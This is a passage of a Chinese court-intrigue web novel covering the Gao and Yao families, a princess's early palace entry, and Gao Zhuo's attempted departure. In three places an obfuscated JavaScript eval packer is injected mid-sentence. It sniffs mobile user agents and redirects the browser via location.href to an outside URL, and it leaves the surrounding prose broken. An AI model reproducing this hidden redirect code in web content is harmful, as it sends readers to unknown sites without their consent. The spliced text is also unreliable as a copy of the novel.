章参打定主意,吩咐好手下众人善后,自己出大堂奔门口而去。 另一个捕手见县尉离开,赶紧追上去问道:“章县尉,门外有御守府的人来问,那日到府上的刺客,公廨有没有找到什么线索。” 章参毫不在意的摆手道:“在城门处加强戒严,增派人手找刺客。你去,将这件案子交给曾参军,让他后面追查去吧。他们御守府的人都守不住的高府,让我们怎么查。” “是,县尉。” 捕手为了难,让曾参军去查,他可怎么同门外御守府的人讲。早就听说县尉的叔叔章御史与高统领不和,如今一看,果真不假。 天上的太阳被大朵灰色的云团遮住,天顿时变得阴沉沉的。尘起抬头遥望着公廨悬挂的镏金匾额,法不阿贵。 捕手拖着步子,磨蹭着走出大门。他见尘起正盯着匾额看得入神,咳了一声提醒道:“还请公子告知一声高统领,高府昨夜的刺客行刺后就下落不明,我们已经在加紧排查了。现在,这个案子交给曾参军排查了,案子一有线索就立刻告知您。” “曾参军?”听到这个人,尘起的嘴角不免抽搐一下。昨夜他见过此人,年纪已近花甲,听说,还有几个月就要致仕了。 算了,刺客的事也不宜闹大。让大家知道堂堂御守府统领的宅子,被一个刺客堂而皇之闯进去还分毫未伤的出来,这岂不成了笑话。反正也不好让公廨继续查下去,成为悬案也不失为好办法。 尘起恭敬道:“我见公廨大费周章抓了人来,还以为是刺客被抓住了。那如此,尘某,就静候曾参军佳音了。” 往日里清静的高府有了人气儿,除去家乡的老人和在高府洒扫的仆役,今日多了一些江湖人士。高羡今日清晨得知府中刺客的事,急匆匆向陛下告假回府,又拜托在盛安认识的熟人帮忙找几个靠谱的护院。 今早来的人约摸有二十多个,被高羡筛过一轮,只剩下七人。七个年纪大小不同的女子,站在院中的凉亭内,等着高羡选谁贴身跟着忆欢。 高羡一夜未睡,昨儿个后半夜巡查皇城,今早听说忆欢的屋子进来了刺客,杀了贴身照顾她的贾嬷嬷,他是又惊又怕,忙了整整一早晨,现下有些扛不住了。 他揉了揉昏昏沉沉的脑袋,家里除了他连个管事的人都没有。高琢一大早就跑出去找姚映梧了,尘起哄忆欢睡下后也不知道跑哪去了。家里刚出了大事,一个个都扎堆儿往外面跑,真不让他省心。 高琢一路雀跃的进了家门,今日可算是有好事临门了。童谣的事告一段落,映梧明日还要请他吃糕,他还跟映梧表了心意。他现在有点儿喜欢盛安这地方了。 “兄长,我回来了!这是怎么了,站了这么多人?” 高羡见是高琢回来了,像是抓住了救命稻草,“小琢你回来的正好,他们几个你快帮我看看哪个好。你挑几个合你眼缘的,把他们留在家里保护忆欢。” 高琢一眼扫过去,他们大多面色冷硬,只有一个姑娘面色如常,眼神坚毅。 “他凑到高羡耳边,“就她吧,左边第二个。我瞧她估摸着有十五六岁,跟着忆欢正好。日后等忆欢大了,她们还说得上体己话。” 高羡赞同地点头,低声道:“确实不错,那就她吧。你再挑一个,忆欢正是爱闹腾的年纪,两个人跟着我才安心。” 高琢正思考着,尘起风尘仆仆的从外院进来。 “尘起!大早上的你一个人跑去哪了,刺客都进府里了,你还敢一个人出去。你功夫再好,也得时刻防备着才行。” 听到此话,尘起脚下的步子顿然停住。他回身讪笑道:“我今日本想给忆欢买些栗子糕哄她开心,结果就见街上公廨的人抬着尸体往公廨去。我以为是昨夜的刺客伏诛了,赶紧跟过去问,结果没想到是另一个案子的犯人。” 高羡重重叹了一口气,“罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姚昭桦笑得合不拢嘴,“你懂什么,向我们这种世家大族,找一个纯真率性的男子才最好呢。父亲多聪明,应对起官场朝堂简直得心应手。可结果怎么样,不管是我们娘亲,还是你娘亲,做他的正妻,哪个不心累。” 姚映梧拉住长姐的手,嗫嚅道:“长姐,下月初一你就要入宫了。到时候,你就是陛下的贤妃娘娘了,你也会累吧。” 姚昭桦替姚映梧将鬓间散落的发丝拢好,“皇后娘娘待人极好,还有章贵妃在宫中可以帮衬我。不用替我担心,有她们在,我什么都无需操心的。” 姚明桉也凑过来,“长姐放心,我会保护好二姐姐的,我也会好好盯住这个叫高琢的。” 姚映梧一时没忍住,直接笑道:“他好歹还有武功傍身,你一个还不到十四岁的孩子怎么盯住他。” “二姐姐少瞧不起人了,我等过了重九节,我就满十四了。” 姚映梧与姚昭桦对视一眼,相继笑岔了气。 望着姚明桉气鼓鼓的样子,姚映梧掩着唇,强行压住笑意打趣道:“好好好,我们明桉最厉害了。二姐姐知道你不仅能保护我,还能盯住高琢,顺便,再温习完父亲布置给你的功课。” 父亲的名号一出,姚明桉瞬间反应过来,自己是偷偷溜出来的,父亲要求要温习抽查的书他还没背完呢。 他捂着脑袋哀嚎道:“惨了惨了,父亲今晚又要打我了。” 明桉的话音未落,青萝一脸慌张的跑进来道:“小姐,出事了。” 姚明桉飞速起身追问道:“可是父亲回来了。” 青萝脸色难看回道:“不是的三少爷,是宫内来人传圣旨。大小姐进宫的日子,怕是要出变故了。” 姚昭桦反而淡然笑道:“怕什么,走,咱们去接旨。” 26. 将分离 夕阳斜下,落日的余晖为肃穆的皇城镀上一层金光。 前去传旨的内侍听从钟内侍的安排,一去姚家宣完旨,便立刻骑着快马折返回皇城。 “回陛下,小人已宣圣旨,将贤妃娘娘要提前半月入宫的消息告知了姚家上下。” 龙椅上,牧怀兴并未抬头,只是嗯了一声。他摆摆手,示意那人退下。 暮鼓声起,钟内侍踏着鼓声走进大殿,他将熬好的药小心地放到桌前,“陛下,到时辰该喝药了。” 牧怀兴揉着酸痛的手腕,将手中的奏议合上放在桌上。他从批好的一堆奏议中挑出一本,向钟谋的方向推了推,“钟谋,你过来看。” 钟内侍放下手中的青瓷药碗,好奇的看过去。 “滕州……这是…裴澄写的。” 牧怀兴冷笑道:“他除了裴澜过世时,主动请求朕让他回盛安外,这还是他第一次给朕写奏议请求今年回京述职。往年他都借口战乱时,需与百姓共进退,不便离开滕州的话,将述职公文递交巡察使给朕。” 钟内侍沉声道:“陛下,这可是个好机会。要不要让高统领去……” “不必。” 牧怀兴冷声道:“如今姚昭桦马上就是朕的贤妃了,有她在,从裴澄口中知道秘密简直是轻而易举。而且,此事不宜大肆声张,多一个人知道就多一份风险。闼鞑数次想夺取鄢云十州,肯定是知道什么了。得赶紧撬开裴澄的嘴,这样,朕才安心啊。” 钟内侍垂下头,“是,陛下。等裴澄一到盛安,老奴就立刻动手。” 牧怀兴端起药一饮而尽,钟谋站在一旁赶忙递上帕子。牧怀兴问道:“对了,那个老东西的嘴撬开了吗?姚映梧的病,他是怎么治好的。” 钟内侍看了眼陛下的脸色,才回道:“他嘴严的很,什么都不交代。只说自己也不知道。他药箱的方子也找太医看过试过了,根本没用。” “他要是没用,裴澄会花这么大劲儿把他从滕州送来?姚映梧难道会自己痊愈吗。” 牧怀兴怒从心生,他病得太厉害已经伤了根本,即使日日服药恐怕也撑不了多久了。为了大邺的未来,为了牧家的江山永固皇位万代传承,他只好来做恶人了。 “今日章参不是来过吗,让他警告那个姓霍的大夫,倘若他还不说实话,就让他等裴澄来盛安时,给他收尸吧。” “是,陛下。” 服完药,牧怀兴又拿起一本新的奏议,嘱咐钟内侍道:“肖攘镰和韦均凝不是要启程回蔺州了吗,皇后说想见他们一面,朕想就在宫中办个家宴为他们践行,把屹儿和峥儿都叫来,你亲自盯着点儿,别出差错。” 钟内侍恭敬道:“老奴这就去办。” “钟谋。” 牧怀兴的声音中略带疲惫,钟内侍停下脚步问道:“陛下可是还有什么吩咐?” 牧怀兴扫过高羡今日呈上来的奏状,脑中闪过高羡说得话。他神色一凛,“宣丞相大人,叫他也一同赴宴。” 天色昏黄,狂风大作。天上遍布的乌云低垂,一副风雨欲来的景象。 宫内传旨让父亲去赴宴,古板的主人不在,丝毫不影响大家热闹的氛围,甚至更添了一丝轻松氛围。姚昭桦的暗香院,上下更是一派喜色,他们的大小姐要入宫为贤妃了。 相府内,一盏盏琉璃灯按照主人的吩咐彻夜点燃。大门外,红爆竹的噼啪声音连绵不绝。清雅的暗香院被人披上了红绸,海棠木的院门上,也挂上了两盏喜庆的红灯笼。 姚昭桦坐在窗前,红烛的光映得她脸色红润。她不舍得抚过桌上的大观游记,陈旧的书页上落有点点泪痕,大抵是她小时候给阿缘读书时流下的眼泪。她拿起手帕轻轻擦去痕迹,以前她怎么没注意到,眼泪在上面会损伤书页的。 母亲早亡,父亲忙碌,阿妹年幼。她幼时的回忆里写满了不安与无助,没人能告诉她为什么日日陪着她的娘亲突然不见了,为什么年幼的阿妹总是要喝药,为什么她那么小,却总是一副病恹恹的样子。为什么照顾阿妹的嬷嬷们总是背后偷偷议论,说妹妹活不了多久了。 年幼的姚昭桦没等来答案,先来的,是父亲愈加严苛的管教。他不寄希望于妹妹会健康长大,勒令她要学好六艺,日后门荫入仕,也能有真才实学。日夜苦读,她错过了好多与襁褓中妹妹相处的时光。 幼时,姚昭桦许下做女官的愿望,希望她能长成父亲期许的样子。她想成为父亲和家族的骄傲,想做到答应娘亲的话,照顾妹妹。早晚有一日,她能靠自己的能力保护妹妹。 直至长大,姚昭桦还没到门荫入仕的年纪,来到的,是陛下礼聘为妃的圣旨。她的愿望一个个落空,不过还好,如今的阿缘已经健康长大了,不需要她的保护了。 吱呀—— 姚映梧拎着食盒推开了姚昭桦的房门,“长姐……” 她声音低沉闷闷的,一听就是刚刚哭过。姚昭桦心疼妹妹,轻声喊道:“我在这阿缘。” 姚映梧放下食盒,小心地端出温热的桂花糖糕,“听柳笛说长姐晚饭没怎么吃,这是我刚刚从和羹居买的,长姐你快尝尝。” 姚映梧抬头的瞬间怔愣住片刻,而后她又立即低下了头。 “糕要趁热才好吃,长姐你些快吃吧。” 桂花糖糕一如既往的好吃,绵软细腻的糕配着恰到好处的桂花糖蜜,和小时候母亲做给她的味道几乎一模一样。 不知道下次再吃,是什么时候了…… 两人谁都没再说话,只是一味低头吃着手中的糕。红烛的光影下,两人吃糕的影子打在了窗上,一如往日般温情。 姚昭桦心里一直惦记着这件事,不放心嘱咐道:“我要提前入宫,这次就赶不上你的生辰了,我把要送你的东西交给明桉了,你到了日子才准去要。” 略微嘶哑的声音一出口,连姚昭桦自己都吓了一跳。这是她的声音?怎么这般难听。 姚映梧再也忍不住心中的苦涩,拿起手帕轻轻拭去长姐脸上未干的泪珠。长姐从来没在自己面前哭过,她每次都是在宽慰自己,说她无事。 离开家,到深宫去,嫁给自己不爱的人,连做女官的理想都不能再实现。这些事情加在一起,长姐怎么能不伤心,怎么会不心痛。 她真蠢,居然相信长姐真的不在意,真的没事…… 微凉的手携着柔滑的丝帕,擦去姚昭桦不曾察觉的眼泪,也一同抹去了她刻意藏起来的痛苦无助。 她垂下头,望向桌上的大观游记,眼眶中积蓄的泪珠不受控地滴到书上,留下了新的泪痕。 望着书上又出现的眼泪,姚昭桦不由愣住。 幸好,她小时候没有哭…… 宫内夜宴的丝竹声,直至入亥初时分才停。等姚尺书回到相府时,天色已经大暗。他回书房换下官服,只留一身疲惫。 今日的夜宴,高羡居然也被邀来了。陛下这是想借高羡打压他,陛下如今哪怕生病,对朝堂牵制还是得心应手啊。今日陛下对他多次试探,他心中全明白。陛下心中属意二皇子,他为了姚家的未来,撮合了自己幼妹与二皇子的亲事。 陛下疼爱二皇子之深,又顾及当年他与甘霓夫妻二人早早分离之痛,才首肯了这桩婚事。不然,陛下定要将肖遥嫁给他的。有肖家血脉的孩子在皇室内,才能为肖家不借兵权造反再加一层保障。 只是没想到,风水轮流转。他当年给先帝上奏议提议,为陛下求娶肖扶锦为妻好牵制肖家一族,如今也该轮到他姚家了…… 姚尺书疲惫地揉揉眉心,还好今日去赴宴了,不然他该怎么面对桦儿。百年之后,他更没脸去见阿澜。她留给他的两个女儿,他都没照顾好。 “郎君回来了,怎么自己坐在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080230|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 得知姚尺书回来了,章麓泽在房内等了他好久都没等来。她猜他可能在书房,叫荣春提上灯笼两人一起来寻他。 姚尺书见是夫人来了,开口解释道:“今日太晚了,怕打扰夫人休息。夫人怎么来了?” 章麓泽沉声道:“父亲来了。” 姚尺书惊道:“老师来了?可是出什么事了?” 章麓泽脸色不好,摇头道:“父亲他在侧院等你,只说有要事相商。” 听到这话姚尺书不由皱紧了眉头,老师久居官场,会因为什么要紧的事需趁着夜色来相府寻他。 夜深人静之时,哪怕热闹如丞相府,也一改早时的喧嚣变得静谧。穿过长廊时,姚尺书心中忐忑不安起来。许是做丞相的日子久了,他隐隐对老师即将说的话已经有了不好的预感。 “你来了。” 章珥桌上的茶整整喝完了三杯,才等来自己的得意门生。陛下自从病好后越发疑神疑鬼,连御守府统领都换成了名不见经传的人。 以防万一,他也不敢多待。于是开门见山道:“裴澄要回来了,你得早做打算。如今童谣一事,正将你我推至风口浪尖,他一回来,必会将盛安这摊浑水搅浊才肯罢休。而且我听说,那个高统领今日还上奏状,说你有心放纵女儿与肖遥结交的事。” 姚尺书神色一凛,“这个高羡,前几日还对我百般恭维,背后竟来这样一招。居然让陛下知道阿缘与肖遥关系渐好的事,加上二皇子与彩笺的事,难怪陛下愈加对我生疑。” 章珥厉色道:“陛下病重时日无多,我们现在必须让二皇子更加出类拔萃才行。五皇子虽娶的是甘家女,但他们毕竟才成婚不久,尚未有子嗣。二皇子和彩笺可是有谨饰,他可是陛下唯一的孙辈。是姚家的血脉,也是我章家的指靠。” 章珥起身,走到姚尺书身边语重心长道:“陛下的三位皇子中二皇子为长,还有姚章两家支持,五皇子身后是肖家和铁甲覆面军,皇储之争如今已迫在眉睫,一步都不容闪失。还有,七皇子这个废物你一定要看好,别把他逼急了。为了肖遥,他指不定做出什么事来。先稳住他,许他封地和一个闲散王的头衔,一切以二皇子夺储为重。” “多谢老师指点,学生记下了。” 章珥系上斗篷,“你平日也多关心些麓儿,我见她憔悴不少……我和你师母年近四十才有了这么一个宝贝,你…你要好好待她。” 姚尺书惭愧道:“桉儿对读书毫不上心,眼看他就要年满十四还毫无长进,让麓儿操心不少。最近太忙,我疏忽了麓儿,日后我定会多关心她,请老师放心。” 官府告破了半夜童谣案,抓住了凶手。盛安的夜,再也没了鬼影和半夜童谣声。夜市又恢复到繁盛时期。 忆欢刚到盛安时,恰好赶上闹鬼厉害的时候。如今夜市恢复,外面明亮的琉璃灯让她心生向往。等高羡一回家,她缠着阿爹要去看看盛安的夜市。高羡虽无奈,却想着自从离开家乡后,几人也好久没聚在一起了,于是提议几人一起去。 几人中,数忆欢最高兴。她回到屋子挑挑拣拣,选了一身最好看的衣裳出门,紫英和花燕跟着保护她。尘起和高羡一个带好兵器,一个带好钱,只有高琢支吾地推脱说肚子不舒服,众人担心他身体,才只好把他留在家中。 等大家都走后,高琢将自己留好的书信郑重的放在桌上。 抱歉,兄长、忆欢还有尘起哥。我没办法参与到姚家与高家的争斗之中,与其日后伤心难过,不如现在就让我离开高家去追寻自己的幸福吧。 高琢收拾好东西,心情无比轻松。他将包袱从后墙偷偷扔下,自己带着横刀翻墙而出。 阿缘,我来了…… 他大步迈向心之向往之所,却听后面传来一声阴恻恻的声音。 “高琢你不是病了吗?翻墙是去哪?” 27. 空余泪 身后传来熟悉的声音让高琢顿时慌了神,他本来就因为没办法当着家人的面说出要离开的话,才只好选择偷偷溜走。这下坏了,被抓了个正着。 他忐忑不安地转过身,就见尘起站在他身后不远处面无表情的盯着他。 高琢张张嘴,却不知该怎么解释他背着大家偷着逃走的事,他嗫嚅道:“尘起哥,我……” 高琢无措的神情令尘起内心挣扎万分,他到底该不该说那些话,说了,小琢肯定会离开的。可若不说…… 他不忍地移开眼神,最终还是走上前拍拍高琢的肩膀道:“我知道你兄长今日上奏状的事让你有些不痛快,但你也要为他想想。他才刚坐上御守府统领一职,若不能替陛下做出点实绩,他日在朝中该如何立足。” 高琢对尘起的话十分费解,疑惑问道:“什么奏状?我只是不想兄长借我来利用阿缘,这样会伤她的心。” 尘起故作惊讶,“啊?你不知道师兄上奏状向陛下提起姚二小姐与肖遥将军交好的事吗?那是我多嘴了,你就当没听到这儿事。” 高琢蹙起眉,不依不饶的追问道:“什么奏状?兄长为何要上奏状说这件事?” “小琢,你怎么还不明白呢。朝堂争斗,有实权的位置只有那么多,世家子弟多占,像你兄长那样的非世家子弟自然就不可能从中分一杯羹。师兄一心想向上走,上面自然需要有人让位。姚尺书在盛安经营了这么多年,树大招风,他只是最碍眼的那一个。如今在盛安,肖攘镰手握军权,姚尺书党羽众多,姚肖两家人交好,是陛下最不愿意见到的。此事一出,陛下心中便埋下了对两家的猜忌。现今他有意提拔新人牵制两家,你兄长想趁势而上就必须替陛下出手打击。” 尘起一番掏心窝子的话砸的高琢头昏脑胀,他抬起头望向尘起,声音也略带嘶哑,“尘起哥,你为什么要跟我说这些?” 高琢清澈的眼神提醒尘起,他丝毫没对他设防。可开弓没有回头箭,跟高琢说完这些话以后,尘起只能硬着头皮把话全挑明。 尘起深吸一口气,一字一句说道:“高琢,你走吧,走得越远越好。再也别回来了。你本来也不是高家人,当年你父母经商外出遭遇山匪劫道,是红豆救了你,把你带回山门,教你习武作画。她如今…也走了,你去找姚映梧吧,不必再跟着我们一起了……” 高琢一时语塞,全部的话都被堵在了喉间。突然间,身后一双小手抱紧他的胳膊。 “小叔叔,你不要走好不好,不要丢下忆欢。” 马车还没走到夜市,忆欢原本离家前高昂的情绪一下子泄气下来。她担心高琢生病没人在身边照顾,央求着阿爹他们让马车又调头回了高府。 高羡原本是不担心的,可他发现尘起不知道什么时候也不见了。他顿感不妙,怕两人遭遇不测。谁知一行人急匆匆回到高府,却只见到高琢留下的信。 忆欢急坏了,哭着就往外跑,她听见尘起让高琢离开的话,难过的上前抱住高琢的手,试图让他心软留下。 短短几个月里,贾嬷嬷死了,阿娘也死了,姐姐们也死了,忆欢不想再失去高琢了。家里只有他最好,会站在她的身边,不管她想做什么他都会支持她。忆欢甚至觉得,要是高琢是她的亲兄长或是亲叔叔就好了。 忆欢把头埋进高琢的衣服内,恳求道:“阿琢哥哥,家里只有你愿意听忆欢说话了。你别走,别离开忆欢好不好。你要是走了,以后就再也没人愿意陪我玩了。” 忆欢的声音带上了哭腔,高琢朝高羡看去,高羡不忍地哀求道:“小琢,算兄长求你了,等忆欢再大些你再离开,到时候兄长决不拦你。我跟尘起,实在是没时间陪她……” 心中对家人的不舍,尤其是忆欢的哀求实在让高琢无法忽视。他捧起忆欢皱巴巴的脸,她双眼红肿噙着眼泪。高琢替她顺好散乱的发丝,捏捏她的脸道:“是我不好,不该瞒着你离开。今日太晚了,忆欢,我们回去睡觉好不好?” 忆欢抽泣着应好,高琢温柔的将她抱进怀里,向她保证以后不会再瞒着她离开,忆欢这才慢慢止住哭泣。 高府的后墙处,人慢慢都走光了只留高羡和尘起在原地对视。 高羡满心费解,他困惑走向尘起,寻问道:“你为何要告诉小琢这些朝堂上的事?” 尘起只望着高琢的背影说:“小琢现在知道只会难过,可等他以后知道你在做什么恐怕就不只是伤心这么简单了。他只是性子单纯,又不是傻子,等以后他都明白了该怎么办?怎么?你为了达成目的牺牲了那么多,难道不会丧心病狂的杀掉小琢吗。” 高羡心一沉,声音都有些不确定,“你这说的什么话,我不明白你在说什么。” 尘起冷哼一声,没再回话,转身回府中休息去了,只留高羡在原地怔愣着。 夜,已经是三更天。 高羡边想着高琢的事,一边往书房走去。他的书房四周一片漆黑,他不习惯在书房外点灯,那温暖和煦的微光总会让他想起妻子,想起怀素。 踩着鹅卵石铺成的小路,□□边都种满了竹子,风吹来时有沙沙的声音。 高羡看竹叶上映在□□上的影子不免心底一阵阵悲怆。 以前家乡的花园也有一小片竹林,每日晚饭后,他就会和怀素一起踩着竹影散步,坐在秋千上吹晚风,看月亮,听竹叶的沙沙声。 竹林依旧,斯人已逝。 高羡推开书房的门,一入目,就是高琢曾经给怀素亲手画的像。那时候他才刚跟红豆学习丹青,画人特别难看,除了红豆,也就只有怀素肯让他给自己画像。 他走到画前眷恋地看着妻子的容貌,旁边写的是妻子的名字,药怀素。 高羡手指一下一下摸过陈旧的画像,其中带着深深化不开的柔情。怀素,家里如今怎么会变成这样。如今我是大邺朝御守府的统领,是牧怀兴在朝臣中最信任的人。在大邺朝堂之上,我也有了一席之地,离我想要的东西已经越来越近了。 可为什么,每天反而不如在家乡时开心,连家人都要渐渐离我而去。 尘起疏远我,连小琢也要离开我,我已经尽力了,可还是在失去。 高羡将画卷起来,收进画匣。 一定是他爬的还不够高,等他坐上高位以后,忆欢、小琢还有尘起,他们就能明白他的苦心了,他们还年轻,根本不明白权力到底有多重要。只有权力和地位才是世间最好的良药,才能抹去一切痛苦。 酝酿了一整日的雨云还是没能落下,空气变得沉闷厚重,压得人喘不上来气。 丞相府,琉璃灯的华彩格外耀眼,让人无法安然入睡。 姚映梧躺在长姐的紫檀雕花床上,呆呆望着床帐。长姐已经早早睡下了,她今晚主动提出想和长姐睡在一起想与她谈谈心,明明之前她憋了一肚子的话想跟长姐说,话到嘴边却不知该怎么开口。 无论她怎么难过,长姐要入宫的事都无法更改了,她说出来只能让两人徒增伤心。到底该怎么办…… 她叹了一口气,在空荡静谧的房间内十分清晰。突然,长姐翻过身来,吓得姚映梧心跳加快只能赶紧闭上了眼睛。 姚昭桦在黑夜中睁开眼,心中无尽的愁绪翻涌而出。她放轻动作侧目过去,见阿缘已经睡着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084083|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知她梦见什么了,竟叹气起来。 姚昭桦心中郁结,不知是不是今日空气沉闷的缘故,心情格外的烦躁。更不知该如何说出来,也许该好好大哭一场。可,阿缘还在,她不能让她担心。 姚昭桦眨眨干涩的眼睛,心中长叹一声。 今晚的夜格外漫长,怎么睡也睡不着。 清晨,天将将明。晨雾为闷热的天带来了一丝凉意。 姚映梧与姚昭桦两人都一夜没睡,却谁也不敢先睁开眼。两人一直躺到辰时,姚映梧实在是挺不住,坐起身活动了下僵硬的脖子。姚昭桦见此,也赶忙起身揉着自己酸软的腰背。 两人对视,先是一愣而后一齐问道:“你怎么没睡?” 姚映梧捏捏自己的脖子,好像落枕了。 她佯装生气道:“早知长姐这儿的床这么不舒服,我就不来住了,这下睡得我浑身疼呢。” 姚昭桦也不客气,一把掐住她脸上本就没多少的肉,“还说呢,你非要缠着我一起睡,害得我也浑身疼,我还没找你算账,你倒先数落起我来了。” 两人又打闹了一会儿,姚映梧肚子不适时的叫来起来。她昨日听柳笛说长姐没怎么吃晚饭,自己赶忙放下筷子去给她买来糕垫肚子。 一盘糕点两人因着心情不好也没吃几口,早晨两人又闹了好一会儿,确实该饿了。 梳洗好,吃过早饭。姚映梧想起要给高琢带栗子糕吃,就回了自己的疏雨院。 一大早,云昙就将糕做好了放在桌上,可人却病倒了。青萝说她为了做好糕点,亲自去采买了一堆东西,不料回来的路上雾大寒气重,一来一回受了寒气这才发了烧。 姚映梧先去安慰了云昙几句,云昙年轻身体好,只是精神不大好,但胃口倒是不错,早辰吃了整整一大碗鸡肉粥。 见云昙没事,姚映梧才放心下来。临出门,青萝怕小姐着凉,给她找了一件披风系上,才放心让她一个人出门。 她提着糕出侧门,想到侧门外的树下等高琢,没想到却见高琢缩在树下等她。他一身青蓝色的袍子被露水打湿,脸色也是不正常的红。 姚映梧一时心急,快走两步到树下拉起高琢。她生气道:“怎么不多穿些,生病了可怎么办?” 她嘴上生气,手中却急忙将糕点盒塞给高琢,而后解下披风给高琢系上。 高琢迷迷糊糊中闻道熟悉的清苦味,他一把拉住姚映梧的手,晕乎乎问出一句摸不着头脑的糊涂话。 “阿缘,可忆欢怎么办。她还小,我舍不得她。” 姚映梧手上的动作一顿,她这才发现高琢应是一夜没睡,眼睛红的吓人。 她系好披风,心疼的试了试高琢额上的温度。她低声道:“高琢,我以前为了姚家什么都怕。我处处小心事事注意,可最怕的还是发生了。我想了一晚上才想明白,到底什么是君臣之道。他既处处紧逼不做良君,那这贤臣我也就不做了,以后一切,我只按心走。所以高琢,别担心以后,只随心去做吧,起码日后不会像我一样后悔。别担心,无论你怎么选,我都尊重你。你始终信我,坚定的支持我,你要知道,我对你的心也是一样的。” 高琢晃晃沉重的脑袋,努力看清眼前人的身影。 “阿缘,你是不是哭了……别想骗我,你眼睛又红又肿。” 姚映梧叹口气,点点头承认了。 高琢握紧手中的糕,将他早起买到的梨膏糖递给她,说:“喏阿缘,我给你买的梨膏糖。不仅止咳,还很甜呢。” 高琢指指自己的心口,笑道:“阿缘我的心告诉我,得劝阿缘去歇息一会儿了。” 28. 感同身受 日头初上,将皇宫的红墙绿瓦照得熠熠生辉。 皇城内,早朝刚散。 牧怀兴今日兴致甚好,一下朝,就将甘霆留在宫中,说要与他一同下棋对弈。 他褪去威严的朝服,只着一身明黄色的旧衣在棋桌前端坐。钟内侍引着甘霆入内时,牧怀兴正手执一枚黑子,纠结着棋盘上的残局该如何落子。 “陛下。” 牧怀兴并未抬头,只一味思索着残局的破解之法。他示意甘霆走上前来,感叹道:“这本残局棋谱还是霓儿在世时给朕留的,朕之前忙于政务,无心钻研如何破局。如今有了时间,却再也解不开这局了。甘霆,你自幼陪你妹妹下棋,你来看看这局怎么解?” 即使妹妹已经故去多年,但听到她的名字甘霆的心跳还是不由得加快。命运难料,那一年他失去了孪生的妹妹,又失去的自小的青梅。 棋盘上,白棋看似温吞,内里却藏满了肃杀之气,已渐渐将黑棋逼出颓势。 甘霆见黑棋面上虽是节节败退,但仍有几枚活子可堪大用,进可赢,退也会比现在的局势少输半目子。他指向一处棋眼道:“此处。陛下可试试。” 牧怀兴将黑棋按甘霆所说放好,他纵观全局,顿时发觉黑棋局势瞬间有了起色。牧怀兴舒展开眉头开怀大笑,他出口打趣道:“甘霆,如今连你的棋艺都在我之上了。霓儿若见她亲手教授的棋技被我疏忽至此,怕是要托梦来骂我了。” 甘霆后退一步,行礼道:“是臣失礼了,还望陛下恕臣无状。” “你我二人,无需在意这些礼节。甘霆,再陪我下一局。” 几局对弈下来,已接近午时。 最后一局,甘霆执白棋,刻意下错一子卖了一处破绽,故意输掉了最后一局。 “陛下的棋力真是不减当年,输给陛下甘霆心服口服。” 牧怀兴怔愣地盯着棋盘上他刚刚落下的关键一子久久没作声,片刻后他喟叹一声摆手道:“你未时不是还要去屹儿那教他甘家锏法吗,就早些离宫吧。” “谢陛下体恤,臣告退。” 甘霆走出大殿前,最后看了一眼牧怀兴稍显落寞的背影。那一身旧衣是霓儿嫁入东宫后给他做的,那袍子的下摆还被年幼调皮的峙儿故意烧了个洞,只为能看到父亲出糗的一刻。 时间可真快,一眨眼,今日又是峙儿的生辰了。旧衣仍存,可他却早已不在了…… 甘霆前脚刚走出太清殿宫,钟内侍后脚便小跑着追了出来。 “甘将军,甘将军,您留步。” 甘霆回头见追过来的人是钟内侍,干脆转身往回走,他问道:“不知钟内侍有何事要指教甘某?” 钟内侍大喘几口气,苦口婆心道:“甘将军请恕老奴妄言几句。陛下如今在朝中中信任的臣子不多,若论起真心相待的,也就数将军您了。今日是大皇子的生辰,陛下心情不佳。而且自陛下病重痊愈以来,还是难得这么开心。将军即使对先皇后故去仍心有芥蒂,可看在您与陛下这么多年的情分上,您又何苦与陛下这般生分呢。” 甘霆听完此话,苦笑道:“呵,这么多年的情分?可他居然还认为我是因霓儿的事介怀……钟内侍,甘霆为人臣子却拂了陛下的好意,还请内侍替甘霆向陛下请罪吧。” “甘将军,甘将军。你…唉……” 钟内侍看着甘霆拂袖而去的身影不由叹了口气,唉,一会还是他再替甘将军跟陛下说和说和吧。 大殿内,莫内侍看钟谋吃瘪的样子心中痛快极了,他不屑的嗤笑一声,望着甘霆离去的背影,心中生了拉拢的想法。 出来太清宫,一路上甘霆徒留满心的愤慨。肖家如今还人握有兵权,族人仍为大邺征战沙场,哪怕战死后马革裹尸也毫不畏惧。 兵士们的忠心耿耿只换来无尽猜忌,他甘霆同为武将怎么能不心寒后怕。 父亲身为忠勇侯,在与闼鞑的一场战役中负伤,无法再领兵出战,只得在盛安做个闲散侯爷。自己自从接任御守府统领后,也再也没有领兵作战过。从先帝到陛下,甘家已经离兵权越来越远了,也因如此,甘家才得陛下信任吧。 倘若有一天肖家风光不再,甘家也难保不会是下一个肖家…… 盛夏末季,荷花也到了最后季节。池子中大半的花都已经谢了,只剩下荷叶还残存些生机。 “小姐您慢点呀。小姐这是在池塘边上,您可要当心些。” 紫英拦着忆欢,不让她往荷花池边上去。 忆欢人虽然小,但身姿矫捷的很。她想摘些剩下莲蓬来吃,可紫英老是不让她靠近,没办法她只好跟紫英绕起圈来。紫英那边,怕伤到小姐,也不敢使全力拦。 